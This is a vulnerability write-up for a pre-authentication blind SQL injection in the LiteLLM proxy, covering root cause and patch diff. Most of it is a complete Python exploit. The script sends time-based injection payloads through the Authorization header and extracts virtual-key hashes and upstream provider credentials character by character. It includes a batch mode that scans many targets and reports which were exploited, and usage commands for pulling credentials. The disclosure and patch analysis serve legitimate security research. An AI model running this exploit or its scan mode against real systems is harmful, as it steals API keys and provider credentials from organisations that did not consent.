#Summary

CVE-2026-42208 is a pre-authentication SQL injection in BerriAI's LiteLLM proxy (AI Gateway) affecting versions 1.81.16 through 1.83.6. The vulnerability exists in the virtual-key lookup which builds its SQL using f-string interpolation of the raw bearer token instead of its hashed value. An unauthenticated attacker can send a specially crafted Authorization header to any LLM API route and execute time-based blind SQL queries against the proxy's PostgreSQL database, recovering virtual API keys, provider credentials, and configuration data. CVSS v3.1 score is 9.8 CRITICAL.

#Affected versions

#Root cause analysis

#Vulnerable code path

The vulnerability sits in PrismaClient.get_data() in litellm/proxy/utils.py, in the branch handling virtual-key lookups via table_name == "combined_view". The query is built as an f-string and interpolates the raw bearer token directly into the SQL:

elif table_name == "combined_view":
    # check if plain text or hash
    if token is not None:
        if isinstance(token, str):
            hashed_token = _hash_token_if_needed(token=token)
            ...
    if query_type == "find_unique":
        ...
        sql_query = f"""
            SELECT
                v.*,
                t.spend AS team_spend,
                ...
            FROM "LiteLLM_VerificationToken" AS v
            LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
            ...
            WHERE v.token = '{token}'
        """

Two defects are stacked here:

  1. String interpolation into SQL: WHERE v.token = '{token}' mixes untrusted user input directly into SQL text with no quoting or escaping.
  2. Raw token instead of hash: The function computes hashed_token but then interpolates token (the raw value) instead. Had the hashed value been used, it would always be a SHA-256 hex digest with no quote characters, and the flaw would not be reachable.

#How input reaches the sink

The f-string is older than the CVE range and was used by earlier callers that always passed already-hashed tokens. Version 1.81.16 introduced a new caller, _ProxyDBLogger._enrich_failure_metadata_with_key_info() in litellm/proxy/hooks/proxy_track_cost_callback.py, which:

  1. Catches authentication failures and extracts the raw bearer token
  2. Passes it to get_key_object() with the parameter name hashed_token
  3. But nothing in this path ever hashes it - it is the raw Authorization header value from a request that just failed the assert api_key.startswith("sk-") check

The complete unauthenticated path:

  1. Attacker sends POST /v1/chat/completions with Authorization: Bearer <payload> where <payload> does not start with sk-.
  2. _user_api_key_auth_builder() reaches the assertion and raises AssertionError. This happens before the api_key = hash_token(api_key) line, so the raw payload is still in the local variable.
  3. UserAPIKeyAuthExceptionHandler._handle_authentication_error() builds a UserAPIKeyAuth object with the raw payload and awaits post_call_failure_hook() before generating the HTTP 401.
  4. The failure hook copies the raw bearer into _metadata["user_api_key"] and calls the enrichment helper.
  5. The helper sees that the key object is incomplete (a 401 leaves every field but api_key null) and queries the database with the raw payload.
  6. The payload is interpolated into WHERE v.token = '...' and executed.

Critical detail: Step 3 is awaited, so the HTTP 401 is not returned until the injected SQL finishes executing. This makes a time-based oracle possible over the network.

#The critical gate: sk- prefix check

LiteLLM has a prefix check that hashes any bearer starting with sk- before the failure handler runs. A payload beginning with sk- is replaced by its SHA-256 hex digest, which contains only lowercase hex digits and cannot break out of a string literal. Payloads must not start with sk- to reach the injection point - they must begin with something like x' or a bare quote.

This is the single most important detail and is explicitly documented in the exploit tool as non-negotiable. Published in-the-wild reports that show sk-litellm'... payloads are scanning traffic from tools that did not understand the code path.

#Patch diff

Fix commit e0d5c28db02b3219dbd944666a55f49732197922, released in version 1.83.7.

The query becomes a parameterized statement instead of an f-string, and the bound value is switched from token to hashed_token:

-                    sql_query = f"""
+                    sql_query = """
                         SELECT 
                             v.*,
                             t.spend AS team_spend, 
                         FROM "LiteLLM_VerificationToken" AS v
                         LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
                         ...
-                        WHERE v.token = '{token}'
+                        WHERE v.token = $1
                     """
 
                     response = await self._query_first_with_cached_plan_fallback(
-                        sql_query
+                        sql_query, hashed_token
                     )

The _query_first_with_cached_plan_fallback helper is also updated to accept bind arguments:

     async def _query_first_with_cached_plan_fallback(
-        self, sql_query: str
+        self, sql_query: str, *args
     ) -> Optional[dict]:
         try:
-            return await self.db.query_first(query=sql_query)
+            return await self.db.query_first(sql_query, *args)

PostgreSQL bind parameter $1 ensures the payload is always treated as data, never as SQL syntax. The vendor's workaround for unpatched systems is to set disable_error_logs: true in general_settings, which prevents the failure hook from running and keeps the sink unreachable.

#Proof of concept

#exploit.py - LiteLLM Pre-Auth SQL Injection PoC

#!/usr/bin/env python3
"""
CVE-2026-42208 - LiteLLM proxy pre-authentication time-based blind SQL injection
Affected: BerriAI LiteLLM (proxy / AI Gateway) 1.81.16 <= version < 1.83.7
Type: SQLi (CWE-89), unauthenticated, PostgreSQL backend

The proxy's virtual-key lookup builds its SQL with an f-string:

    WHERE v.token = '{token}'

and interpolates the *raw* bearer rather than the SHA-256 hash it computed one
screen earlier. From 1.81.16 the failure-logging hook
`_enrich_failure_metadata_with_key_info()` became a new caller of that lookup and
feeds it a value that was never hashed: the bearer of a request that just failed
authentication. Because the failure hook is awaited before the 401 is produced,
any delay inside the injected query is a delay on the HTTP response, which gives
a time-based oracle.

The bearer must NOT start with "sk-": LiteLLM hashes anything with that prefix
before the failure handler ever sees it, and a hex digest cannot break out of the
string literal. Every payload this tool sends starts with "x'".

Nothing from the injected query is echoed to the client and SQL errors are
swallowed by the caller, so timing is the only oracle available. This tool
calibrates a baseline, proves the delay scales with the requested pg_sleep
interval (so a backoff-retry stall cannot be mistaken for a hit), and then
binary-searches a secret out of the database one character at a time.

Every payload carries a unique nonce in its trailing SQL comment, because the
key lookup is cached on the bearer string: resending a payload verbatim is
answered from cache without touching the database and reads as "not vulnerable".

Usage:
  python exploit.py --host <target> --port 4000
  python exploit.py --host 192.168.1.10 --port 4000
  python exploit.py --host https://litellm.corp.com
  python exploit.py --host https://litellm.corp.com/v1/chat/completions --sleep 5
  python exploit.py --host 10.0.0.7 --confirm-only
  python exploit.py --host 10.0.0.7 --extract '(SELECT credential_values::text FROM "LiteLLM_CredentialsTable" LIMIT 1)'
  python exploit.py --host 10.0.0.7 --manual --payload "x' OR (SELECT 1 FROM pg_sleep(6)) IS NOT NULL -- "
  python exploit.py --list targets.txt --workers 20

Extra arguments beyond the standard set:
  --path          HTTP path of an LLM API route (default /v1/chat/completions)
  --sleep         pg_sleep interval, in seconds, used as the oracle (default 4)
  --extract       SQL scalar expression to recover, defaults to the newest
                  virtual-key hash in "LiteLLM_VerificationToken"
  --charset       candidate characters; "auto" probes for a hex string first
  --max-length    upper bound for the length binary search (default 256)
  --threads       concurrency for the per-character binary searches (default 8)
  --confirm-only  stop after proving the injection, skip extraction
  --manual        send --payload verbatim and report its latency
  --verify-key    plaintext virtual key; its SHA-256 is compared to the result
  --model         model name placed in the filler request body
  --timeout       socket timeout, seconds (default: sleep * 3 + 20)
  --insecure      do not verify TLS certificates (default on, self-signed labs)
"""

import argparse
import hashlib
import http.client
import itertools
import json
import os
import socket
import ssl
import statistics
import sys
import time
from urllib.parse import urlparse

CVE_ID = "CVE-2026-42208"
VULN_TYPE = "SQLi (blind, time-based, pre-auth)"

DEFAULT_PORT = 4000
DEFAULT_PATH = "/v1/chat/completions"
DEFAULT_MODEL = "gpt-3.5-turbo"
DEFAULT_SLEEP = 4.0

# The newest virtual key in the proxy's key table. Its `token` column holds the
# SHA-256 of a live virtual key; recovering it is the terminal evidence.
DEFAULT_EXTRACT = (
    '(SELECT token FROM "LiteLLM_VerificationToken" ORDER BY created_at DESC LIMIT 1)'
)

PRINTABLE = "".join(chr(c) for c in range(32, 127))
HEXSET = "0123456789abcdef"


def header(host, port):
    print("\n" + "=" * 60)
    print("  ALIM EXPLOIT  {}".format(CVE_ID))
    print("  Type: {}  |  Target: {}:{}".format(VULN_TYPE, host, port))
    print("=" * 60 + "\n")


def step(n, msg):
    print("[STEP {}] {}".format(n, msg))


def section(label, content):
    print("\n--- {} ---".format(label))
    print(str(content).strip())
    print("---\n")


def done(success, evidence):
    print("\n" + "=" * 60)
    print("  RESULT  : {}".format("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: {}".format(evidence))
    print("=" * 60 + "\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------
# payload construction
# --------------------------------------------------------------------------
#
# The sink is  WHERE v.token = '<payload>'  at the very end of the statement,
# so the shape is: close the quote, add an OR clause, comment out the rest.
# pg_sleep() returns void, so it is used as a table source and never compared
# directly.
#
# Every payload carries a unique nonce inside its trailing SQL comment. This is
# mandatory, not cosmetic: get_key_object() consults LiteLLM's dual (in-memory +
# Redis) key cache before it ever reaches the database, and the cache key is the
# bearer string itself. Send the same payload twice and the second request is
# answered from cache in microseconds - the injection looks dead when it is not.
# The nonce lives after "--" so it changes the cache key without changing the
# SQL. Discovered against the lab: an identical pg_sleep(3) payload took 3.037s,
# then 0.022s, then 0.017s, while three nonced copies took 3.031s / 3.034s /
# 3.040s.

_RUN_ID = os.urandom(3).hex()
_counter = itertools.count()


def _nonce():
    """Unique comment suffix that defeats LiteLLM's bearer-keyed key cache."""
    return "{}{:x}".format(_RUN_ID, next(_counter))


def p_baseline():
    """Syntactically valid, matches nothing, returns immediately."""
    return "x' OR '1'='2' -- {}".format(_nonce())


def p_sleep(seconds):
    """Unconditional delay - proves the injected SQL executes."""
    return "x' OR (SELECT 1 FROM pg_sleep({})) IS NOT NULL -- {}".format(
        seconds, _nonce())


def p_cond(predicate, seconds):
    """Delay only when `predicate` holds - the oracle that drives the search."""
    return (
        "x' OR (SELECT CASE WHEN ({}) THEN (SELECT count(*) FROM pg_sleep({}))"
        " ELSE 0 END) > -1 -- {}".format(predicate, seconds, _nonce())
    )


def p_hashed_control(seconds):
    """Same delay payload, but prefixed 'sk-' so LiteLLM hashes it inert."""
    return "sk-" + p_sleep(seconds)


# --------------------------------------------------------------------------
# transport
# --------------------------------------------------------------------------


def _send(host, port, use_tls, path, bearer, timeout, model=DEFAULT_MODEL,
          insecure=True):
    """
    POST one filler chat-completion request carrying `bearer` in Authorization.
    Returns (status_or_None, elapsed_seconds, body_snippet). Never raises.
    """
    body = json.dumps(
        {"model": model, "messages": [{"role": "user", "content": "hi"}]}
    )
    headers = {
        "Host": "{}:{}".format(host, port),
        "Authorization": "Bearer " + bearer,
        "Content-Type": "application/json",
        "Accept": "application/json",
        "Content-Length": str(len(body)),
        "Connection": "close",
    }
    if use_tls:
        ctx = ssl.create_default_context()
        if insecure:
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
        conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
    else:
        conn = http.client.HTTPConnection(host, port, timeout=timeout)

    started = time.time()
    try:
        conn.request("POST", path, body=body, headers=headers)
        resp = conn.getresponse()
        data = resp.read(4096)
        elapsed = time.time() - started
        return resp.status, elapsed, data.decode("utf-8", "replace")
    except socket.timeout:
        return None, time.time() - started, "socket timeout"
    except Exception as exc:
        return None, time.time() - started, "{}: {}".format(type(exc).__name__, exc)
    finally:
        try:
            conn.close()
        except Exception:
            pass


class Oracle(object):
    """Boolean oracle over the time-based injection."""

    def __init__(self, host, port, use_tls, path, sleep_s, timeout, model,
                 insecure):
        self.host = host
        self.port = port
        self.use_tls = use_tls
        self.path = path
        self.sleep_s = sleep_s
        self.timeout = timeout
        self.model = model
        self.insecure = insecure
        self.baseline = 0.0
        self.threshold = sleep_s * 0.5
        self.requests = 0

    def send(self, bearer):
        self.requests += 1
        return _send(self.host, self.port, self.use_tls, self.path, bearer,
                     self.timeout, self.model, self.insecure)

    def calibrate(self, samples=3):
        """Median latency of a valid, non-sleeping payload."""
        times = []
        status = None
        for _ in range(samples):
            status, elapsed, _body = self.send(p_baseline())
            times.append(elapsed)
        self.baseline = statistics.median(times)
        # Stay clear of both the baseline and any backoff jitter, but well
        # under the requested sleep so a loaded target still reads as TRUE.
        self.threshold = max(self.sleep_s * 0.5, self.baseline * 4)
        return status, self.baseline, times

    def _probe(self, predicate):
        """One measurement. Delayed response means the predicate held."""
        _status, elapsed, _body = self.send(p_cond(predicate, self.sleep_s))
        return elapsed >= self.threshold

    def ask(self, predicate):
        """
        Boolean oracle, TRUE results confirmed by a second measurement.

        The asymmetry is deliberate. A FALSE reading is trustworthy: the
        predicate either ran pg_sleep or it did not, and a query that did run
        it cannot come back faster than the interval. A TRUE reading is not,
        because the proxy's database connection pool is shared - when several
        extraction threads have sleeping queries in flight, a request whose own
        predicate was false can sit waiting for a pool slot and be reported
        late. So only TRUE is re-checked, and a disagreement is broken by a
        third measurement. Without this the search silently corrupts
        characters: an unconfirmed run against the lab read 'alim-lab-cred'
        as 'alim8lab9cred', both errors being a single spurious slow response.
        """
        if not self._probe(predicate):
            return False
        if self._probe(predicate):
            return True
        return self._probe(predicate)


# --------------------------------------------------------------------------
# confirmation
# --------------------------------------------------------------------------


def confirm(oracle, verbose=True):
    """
    Prove the injection executes. Returns (confirmed, detail_dict).

    Three measurements, because a single slow response is not evidence: the
    vulnerable lookup is wrapped in a backoff decorator that retries a broken
    query up to three times, which can itself stall for seconds. Only a delay
    that *scales* with the requested interval is pg_sleep.
    """
    detail = {}
    _st, base, samples = oracle.calibrate()
    detail["baseline"] = base
    detail["baseline_samples"] = samples
    if verbose:
        print("        baseline (x' OR '1'='2')          : "
              "{:.3f}s  [{}]".format(
                  base, ", ".join("{:.3f}".format(s) for s in samples)))

    s1 = oracle.sleep_s
    s2 = oracle.sleep_s * 2
    st1, t1, _b1 = oracle.send(p_sleep(s1))
    st2, t2, _b2 = oracle.send(p_sleep(s2))
    detail["t1"] = t1
    detail["t2"] = t2
    detail["status"] = st1
    if verbose:
        print("        pg_sleep({:g}) unconditional probe   : "
              "{:.3f}s  (HTTP {})".format(s1, t1, st1))
        print("        pg_sleep({:g}) unconditional probe   : "
              "{:.3f}s  (HTTP {})".format(s2, t2, st2))

    # Control: the identical payload prefixed sk- is SHA-256'd before the
    # failure hook sees it, so it must NOT be delayed.
    _stc, tc, _bc = oracle.send(p_hashed_control(s1))
    detail["sk_control"] = tc
    if verbose:
        print("        same payload prefixed 'sk-'        : "
              "{:.3f}s  (hashed, must be fast)".format(tc))

    delayed = t1 >= oracle.threshold
    scales = t2 >= t1 + (oracle.sleep_s * 0.5)
    control_fast = tc < oracle.threshold
    detail["delayed"] = delayed
    detail["scales"] = scales
    detail["control_fast"] = control_fast
    detail["confirmed"] = bool(delayed and scales and control_fast)
    return detail["confirmed"], detail


def diagnose(detail, oracle):
    """Explain a negative result instead of just calling it 'not vulnerable'."""
    if detail.get("status") is None:
        return "no HTTP response - host unreachable or route wrong"
    if not detail.get("delayed"):
        if detail["baseline"] > oracle.sleep_s * 0.5:
            return ("every payload is slow ({:.2f}s baseline) - that is backoff "
                    "noise or a loaded host, not pg_sleep".format(detail["baseline"]))
        return ("flat timing (baseline {:.3f}s, sleep probe {:.3f}s) - target is "
                "1.83.7+, has disable_error_logs set, or has no DATABASE_URL / "
                "master key".format(detail["baseline"], detail["t1"]))
    if not detail.get("scales"):
        return ("delay does not scale with the requested interval "
                "({:.2f}s for sleep {:g} vs {:.2f}s for sleep {:g}) - this is the "
                "backoff-retry false positive, not the injection".format(
                    detail["t1"], oracle.sleep_s, detail["t2"], oracle.sleep_s * 2))
    if not detail.get("control_fast"):
        return ("the sk- prefixed control was also delayed ({:.2f}s) - the latency "
                "is not payload-dependent".format(detail["sk_control"]))
    return "no timing evidence"


# --------------------------------------------------------------------------
# extraction
# --------------------------------------------------------------------------


def _sql_str(value):
    """Single-quoted SQL literal, quotes doubled."""
    return "'" + value.replace("'", "''") + "'"


def find_length(oracle, expr, max_length):
    """Binary-search length((expr)). Returns None if the expression is NULL."""
    if oracle.ask("({}) IS NULL".format(expr)):
        return None
    lo, hi = 0, max_length
    while lo < hi:
        mid = (lo + hi) // 2
        if oracle.ask("length(({})) > {}".format(expr, mid)):
            lo = mid + 1
        else:
            hi = mid
    return lo


def pick_charset(oracle, expr, charset):
    """Resolve --charset, probing for a lowercase-hex string in auto mode."""
    if charset != "auto":
        return "".join(sorted(set(charset)))
    if oracle.ask("({}) ~ {}".format(expr, _sql_str("^[0-9a-f]+$"))):
        return HEXSET
    return PRINTABLE


def find_char(oracle, expr, index, charset):
    """Binary-search one character by ASCII value over the candidate set."""
    lo, hi = 0, len(charset) - 1
    while lo < hi:
        mid = (lo + hi) // 2
        pred = "ascii(substring(({}) FROM {} FOR 1)) > {}".format(
            expr, index, ord(charset[mid]))
        if oracle.ask(pred):
            lo = mid + 1
        else:
            hi = mid
    return charset[lo]


def extract(oracle, expr, charset, max_length, threads, verbose=True):
    """Recover a scalar SQL expression character by character."""
    import concurrent.futures

    length = find_length(oracle, expr, max_length)
    if length is None:
        return None, "expression is NULL - no such row"
    if length == 0:
        return "", "expression is an empty string"
    if verbose:
        print("        length          : {} characters".format(length))

    cs = pick_charset(oracle, expr, charset)
    if verbose:
        label = "lowercase hex" if cs == HEXSET else (
            "printable ASCII" if cs == PRINTABLE else "custom")
        print("        charset         : {} ({} candidates, {} comparisons/char"
              " before TRUE-confirmation)".format(
                  label, len(cs), (len(cs) - 1).bit_length()))
        print("        extracting with {} threads ...".format(threads))

    # Live counter only on a terminal - piping to a file should not collect a
    # screenful of carriage returns.
    live = verbose and sys.stdout.isatty()
    out = [None] * length
    with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as pool:
        futures = {
            pool.submit(find_char, oracle, expr, i + 1, cs): i
            for i in range(length)
        }
        completed = 0
        for fut in concurrent.futures.as_completed(futures):
            i = futures[fut]
            try:
                out[i] = fut.result()
            except Exception:
                out[i] = "?"
            completed += 1
            if live:
                sys.stdout.write("\r        recovered {}/{} chars".format(
                    completed, length))
                sys.stdout.flush()
    if live:
        sys.stdout.write("\r")
    if verbose:
        print("        recovered {}/{} chars".format(completed, length))
    value = "".join(c if c is not None else "?" for c in out)
    return value, "{} characters recovered in {} requests".format(
        length, oracle.requests)


# --------------------------------------------------------------------------
# scan mode
# --------------------------------------------------------------------------


def _try_exploit(host, port, use_tls, path=DEFAULT_PATH, sleep_s=DEFAULT_SLEEP,
                 timeout=None, model=DEFAULT_MODEL, insecure=True):
    """Silent probe for --list scan mode. Returns (success, evidence)."""
    if timeout is None:
        timeout = sleep_s * 3 + 20
    try:
        oracle = Oracle(host, port, use_tls, path, sleep_s, timeout, model,
                        insecure)
        ok, detail = confirm(oracle, verbose=False)
        if ok:
            return True, ("blind SQLi confirmed - baseline {:.3f}s, "
                          "sleep {:g}s -> {:.2f}s, sleep {:g}s -> {:.2f}s".format(
                              detail["baseline"], sleep_s, detail["t1"],
                              sleep_s * 2, detail["t2"]))
        return False, diagnose(detail, oracle)
    except Exception as exc:
        return False, "unreachable ({})".format(type(exc).__name__)


def _parse_target(line, default_port, default_path=DEFAULT_PATH):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, workers=10, path=DEFAULT_PATH,
         sleep_s=DEFAULT_SLEEP, timeout=None, model=DEFAULT_MODEL,
         insecure=True):
    """Batch scan from file."""
    import concurrent.futures

    with open(targets_file) as fh:
        targets = [_parse_target(line, default_port, path) for line in fh]
    targets = [t for t in targets if t is not None]

    print("\n" + "=" * 60)
    print("  {} - Batch Scan  ({} targets, {} workers)".format(
        CVE_ID, len(targets), workers))
    print("=" * 60 + "\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, tpath = t
        label = "{}://{}:{}{}".format(
            "https" if use_tls else "http", host, port, tpath)
        ok, evidence = _try_exploit(host, port, use_tls, tpath, sleep_s,
                                    timeout, model, insecure)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print("  {} {} - {}: {}".format(
                "[+]" if ok else "[-]", label,
                "Exploited" if ok else "Not vulnerable", evidence))
            if ok:
                success_count += 1

    total = len(targets)
    print("\n" + "=" * 60)
    print("  SCAN COMPLETE  {} exploited / {} not vulnerable  ({} total)".format(
        success_count, total - success_count, total))
    print("=" * 60 + "\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------
# single target
# --------------------------------------------------------------------------


def exploit(host, port, use_tls, path, args):
    header(host, port)
    timeout = args.timeout if args.timeout else args.sleep * 3 + 20
    oracle = Oracle(host, port, use_tls, path, args.sleep, timeout, args.model,
                    args.insecure)

    if args.manual:
        step(1, "Sending the supplied payload verbatim ...")
        if args.payload.startswith("sk-"):
            print("        WARNING: payload starts with 'sk-'. LiteLLM SHA-256s "
                  "any bearer with that prefix before the vulnerable lookup, so "
                  "this payload cannot inject.")
        oracle.calibrate()
        status, elapsed, body = oracle.send(args.payload)
        section("PAYLOAD", args.payload)
        section("RESPONSE", "HTTP {} in {:.3f}s (baseline {:.3f}s)\n{}".format(
            status, elapsed, oracle.baseline, body[:400]))
        if elapsed >= oracle.threshold:
            done(True, "payload '{}' delayed the 401 by {:.2f}s "
                       "(baseline {:.3f}s)".format(
                           args.payload, elapsed, oracle.baseline))
        done(False, "payload returned HTTP {} in {:.3f}s - no timing "
                    "evidence".format(status, elapsed))

    step(1, "Probing {} and calibrating the timing oracle ...".format(path))
    ok, detail = confirm(oracle)

    if not ok:
        section("TIMING SUMMARY",
                "baseline      : {:.3f}s\n"
                "pg_sleep({:g})   : {:.3f}s\n"
                "pg_sleep({:g})   : {:.3f}s\n"
                "sk- control   : {:.3f}s\n"
                "HTTP status   : {}".format(
                    detail["baseline"], args.sleep, detail["t1"],
                    args.sleep * 2, detail["t2"], detail["sk_control"],
                    detail["status"]))
        done(False, "no injection - {}".format(diagnose(detail, oracle)))

    section("INJECTION CONFIRMED",
            "HTTP {status} is returned in every case, but the response is held "
            "for the duration of the injected pg_sleep:\n\n"
            "  baseline  x' OR '1'='2                        {b:.3f}s\n"
            "  injected  pg_sleep({s1:g})                          {t1:.3f}s\n"
            "  injected  pg_sleep({s2:g})                          {t2:.3f}s\n"
            "  control   sk- prefixed, pg_sleep({s1:g})            {tc:.3f}s\n\n"
            "The delay tracks the requested interval, so this is pg_sleep and "
            "not the backoff-retry stall of a broken query. The sk- control is "
            "fast because LiteLLM hashes that prefix before the vulnerable "
            "lookup.".format(
                status=detail["status"], b=detail["baseline"], s1=args.sleep,
                t1=detail["t1"], s2=args.sleep * 2, t2=detail["t2"],
                tc=detail["sk_control"]))

    if args.confirm_only:
        done(True, "pre-auth blind SQL injection confirmed - HTTP {} delayed "
                   "{:.2f}s by pg_sleep({:g}), baseline {:.3f}s".format(
                       detail["status"], detail["t1"], args.sleep,
                       detail["baseline"]))

    step(2, "Extracting: {}".format(args.extract))
    started = time.time()
    value, note = extract(oracle, args.extract, args.charset, args.max_length,
                          args.threads)
    took = time.time() - started

    if not value:
        section("EXTRACTION", note)
        done(True, "pre-auth blind SQL injection confirmed (pg_sleep({:g}) held "
                   "the 401 for {:.2f}s vs {:.3f}s baseline), but the target "
                   "expression yielded nothing: {}".format(
                       args.sleep, detail["t1"], detail["baseline"], note))

    section("EXTRACTED VALUE",
            "{}\n\n{} in {:.0f}s ({} oracle requests total)".format(
                value, note, took, oracle.requests))

    if args.verify_key:
        digest = hashlib.sha256(args.verify_key.encode()).hexdigest()
        match = digest == value
        section("VERIFICATION",
                "supplied plaintext : {}\n"
                "sha256(plaintext)  : {}\n"
                "extracted value    : {}\n"
                "match              : {}".format(
                    args.verify_key, digest, value, "YES" if match else "NO"))
        if match:
            done(True, "recovered virtual-key hash {} over the network with no "
                       "credentials - it is sha256('{}')".format(
                           value, args.verify_key))

    done(True, "recovered '{}' from the proxy database unauthenticated via "
               "time-based blind SQLi".format(value))


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="{} exploit PoC - LiteLLM pre-auth blind SQL "
                    "injection".format(CVE_ID))
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host",
                            help="Target: hostname, IP, or full URL "
                                 "(e.g. https://host:4000/v1/chat/completions)")
    target_grp.add_argument("--list", metavar="FILE",
                            help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT,
                        help="Default port (default: 4000)")
    parser.add_argument("--payload", default="' OR '1'='1'--",
                        help="Injection string, used with --manual "
                             "(default: ' OR '1'='1'--). Must not start with "
                             "sk-, and vary it between runs or the key cache "
                             "answers it without touching the database")
    parser.add_argument("--workers", type=int, default=10,
                        help="Threads for --list mode (default: 10)")
    parser.add_argument("--path", default=DEFAULT_PATH,
                        help="LLM API route to hit (default: /v1/chat/completions)")
    parser.add_argument("--sleep", type=float, default=DEFAULT_SLEEP,
                        help="pg_sleep interval used as the oracle (default: 4)")
    parser.add_argument("--extract", default=DEFAULT_EXTRACT,
                        help="SQL scalar expression to recover "
                             "(default: newest LiteLLM_VerificationToken.token)")
    parser.add_argument("--charset", default="auto",
                        help="Candidate characters, or 'auto' to probe for hex "
                             "then fall back to printable ASCII (default: auto)")
    parser.add_argument("--max-length", type=int, default=256,
                        help="Upper bound for the length search (default: 256)")
    parser.add_argument("--threads", type=int, default=6,
                        help="Concurrency for extraction (default: 6). Raising "
                             "this contends for the target's DB pool and makes "
                             "the timing oracle noisier, not just faster")
    parser.add_argument("--confirm-only", action="store_true",
                        help="Stop after confirming the injection")
    parser.add_argument("--manual", action="store_true",
                        help="Send --payload verbatim and report its latency")
    parser.add_argument("--verify-key",
                        help="Plaintext virtual key; its sha256 is compared to "
                             "the extracted value")
    parser.add_argument("--model", default=DEFAULT_MODEL,
                        help="Model name in the filler body (default: gpt-3.5-turbo)")
    parser.add_argument("--timeout", type=float,
                        help="Socket timeout in seconds (default: sleep*3 + 20)")
    parser.add_argument("--insecure", action="store_true", default=True,
                        help="Skip TLS certificate verification (default: on)")
    parser.add_argument("--verify-tls", dest="insecure", action="store_false",
                        help="Verify TLS certificates")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             path=args.path, sleep_s=args.sleep, timeout=args.timeout,
             model=args.model, insecure=args.insecure)
    else:
        parsed = _parse_target(args.host, args.port, args.path)
        host, port, use_tls, path = parsed if parsed else (
            args.host, args.port, False, args.path)
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args)

#Usage

#Confirm exploitability

python3 exploit.py --host 10.20.30.40 --port 4000 --confirm-only

Exits 0 if the injection is live, 1 if not. Takes roughly 3x the sleep interval (default 4 seconds = ~12 seconds total).

#Recover a virtual key's SHA-256 hash

python3 exploit.py --host 10.20.30.40 --port 4000 --verify-key sk-PZ-6jIjRdyYH7-mh6lmY_A

Reconstructs the newest LiteLLM_VerificationToken.token and compares it to the SHA-256 of the supplied key. Roughly 400 requests and 4 minutes at defaults.

#Recover upstream provider credentials

python3 exploit.py --host 10.20.30.40 --port 4000 \
  --extract '(SELECT credential_values::text FROM "LiteLLM_CredentialsTable" LIMIT 1)'

#Enumerate database

python3 exploit.py --host 10.20.30.40 --port 4000 \
  --extract '(SELECT count(*)::text FROM "LiteLLM_VerificationToken")'

Example output:

[STEP 1] Probing and calibrating the timing oracle ...
        baseline (x' OR '1'='2')          : 0.010s  [0.011, 0.010, 0.008]
        pg_sleep(4) unconditional probe   : 4.017s  (HTTP 401)
        pg_sleep(8) unconditional probe   : 8.019s  (HTTP 401)
        same payload prefixed 'sk-'        : 0.014s  (hashed, must be fast)

--- INJECTION CONFIRMED ---

[STEP 2] Extracting: (SELECT token FROM "LiteLLM_VerificationToken" ORDER BY created_at DESC LIMIT 1)
        length          : 64 characters
        charset         : hex (16 candidates)
        extracting with 6 threads ...
        recovered 64/64 chars

--- EXTRACTED VALUE ---
21c1b157d9da46733d7ba3092adcf5cf87a5d742df5420249793e2e582a40df3

--- VERIFICATION ---
plaintext key  : sk-PZ-6jIjRdyYH7-mh6lmY_A
sha256         : 21c1b157d9da46733d7ba3092adcf5cf87a5d742df5420249793e2e582a40df3
extracted      : 21c1b157d9da46733d7ba3092adcf5cf87a5d742df5420249793e2e582a40df3
match          : YES

RESULT  : SUCCESS
EVIDENCE: recovered virtual-key hash - it matches sha256('sk-PZ-6jIjRdyYH7-mh6lmY_A')

#Exploitation notes

#Preconditions

#Reliability

The exploit is highly reliable once the injection is confirmed. The oracle (time-based sleep) is deterministic - the only noise comes from network latency and the target's database connection pool under concurrent extraction. The tool calibrates against a baseline, confirms that the sleep delay scales with the requested interval, and runs a control with the sk- prefix to ensure the payload is not being hashed.

#Impact

An attacker gains complete read access to the proxy's PostgreSQL database through blind SQL queries. High-value targets include:

Write access through this vector is not practical (stacked statements are not supported), but the read access alone is sufficient to compromise the proxy and all credentials it manages.

#Chaining potential

An attacker with a recovered virtual API key can:

  1. Authenticate to the proxy and make LLM API calls on behalf of other users
  2. Access the upstream provider credentials directly through the proxy (they are decrypted server-side)
  3. Impersonate the proxy to upstream LLM services, potentially making paid API calls or accessing model-specific features

Chaining this with a lateral movement vector (e.g., SSRF through the LLM API) could provide deeper access to the target network.

#Oracle characteristics

The oracle uses only network-observable latency. No data is echoed to the client, and SQL errors are swallowed by the caller. Timing is the only available signal. Key operational notes:

#References